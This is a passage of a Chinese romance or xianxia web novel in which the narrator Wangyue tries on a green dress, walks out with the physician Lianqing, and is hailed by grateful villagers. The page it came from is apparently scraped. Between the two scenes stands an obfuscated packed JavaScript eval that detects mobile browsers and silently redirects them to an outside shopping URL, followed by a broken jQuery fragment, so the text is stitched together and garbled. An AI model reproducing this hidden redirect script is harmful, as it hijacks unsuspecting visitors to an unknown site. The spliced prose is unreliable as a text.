好意思拒绝。身形一闪,躲开了他的触碰。
“我穿。”我清了清嗓子,催促道:“现在就换,你出去一下。”
连清走后,我小心翼翼地将衣服抖开。
这是一套漂亮飘逸的绿色衣裙,上头是一件轻如蝉翼的豆绿色云烟衫,衣襟和袖口用银线绣着精致的祥云绣花,看起来云雾缭绕,仙气飘飘。
与之相配的是一件浅绿色的荷叶长裙,裙摆上用绿色丝线绣满了姿态各异的荷叶,看上去栩栩如生,极为逼真。
整套衣衫轻盈灵动,这做工、这针脚、这绣花,一看就非凡品,也不知小医师从哪弄来的。
费了老半天才将衣服套好,看着铜镜中那张脸,心中突然有种陌生的感觉。
明明和幼时的自己有六七分像,却少了幼时那种明媚娇憨,取而代之的更多的是冷漠与坚毅,看上去不太好相与。
曾几何时,所有人都说我是贴心的小太阳,如今,我却只能沉溺于别人散发的温暖光芒之中。
伸手,对镜抚了抚眉心,努力扯出一个自以为温和的笑,不笑还好,一笑却僵硬无比,怎么看怎么别扭。
——现实让我打消了像连清那般微笑的想法。
拿起梳篦,又花了一点时间,我终于挽好了一个还算顺眼的发髻。
这衣服这发型,倒也有几分寻常女儿家的样子了。
推开门,连清正站在树下等我。
微风拂过,落叶簌簌,秋日的余韵全部洒在他的肩头。
听到声音,他缓缓侧身,精致的侧脸和挺拔的鼻梁在夕阳的余晖下,渡上了一层暖色光辉。
四目相对,少年眼中光华流转。
“忘月,”他快步上前,似十分意外,“这一身很好看,我就知道这衣裳衬你。”
“谢谢。”我低着头,将脸深深地埋在胸口,不知该如何回应那炽热的目光。
身旁人意犹未尽,频频看向我的头顶:“要是再有些首饰就更好了。”
我低着头不说话,默默和他一起往前走去。
夕阳西沉,夜幕一点点降临。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262087|151594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快,我就被带到了广场。
这个在最黑暗的日子里摆满尸体的广场,黎明过后,终于又恢复了往日的人流如织。
大批村民早已聚集于此,见到我们,闻风而动,一股脑地涌了过来。
“忘月姑娘来了!她终于康复了!”有人激动地大喊。
“姑娘,姑娘!”一个年迈的老妇人奋力拨开人群,挤到了我面前。
她一把握住我的手,眼中泪花闪烁:“姑娘您可算好了,要不是为了救我家妞儿,您也不会病倒,您和连清医师真是天大的好人!”
其他村民们闻言也纷纷附和:“大好人!”
“晚湘村的恩人!”
“恩人的大恩大德,俺们永生难忘!”
“两位英雄,老天爷一定会保佑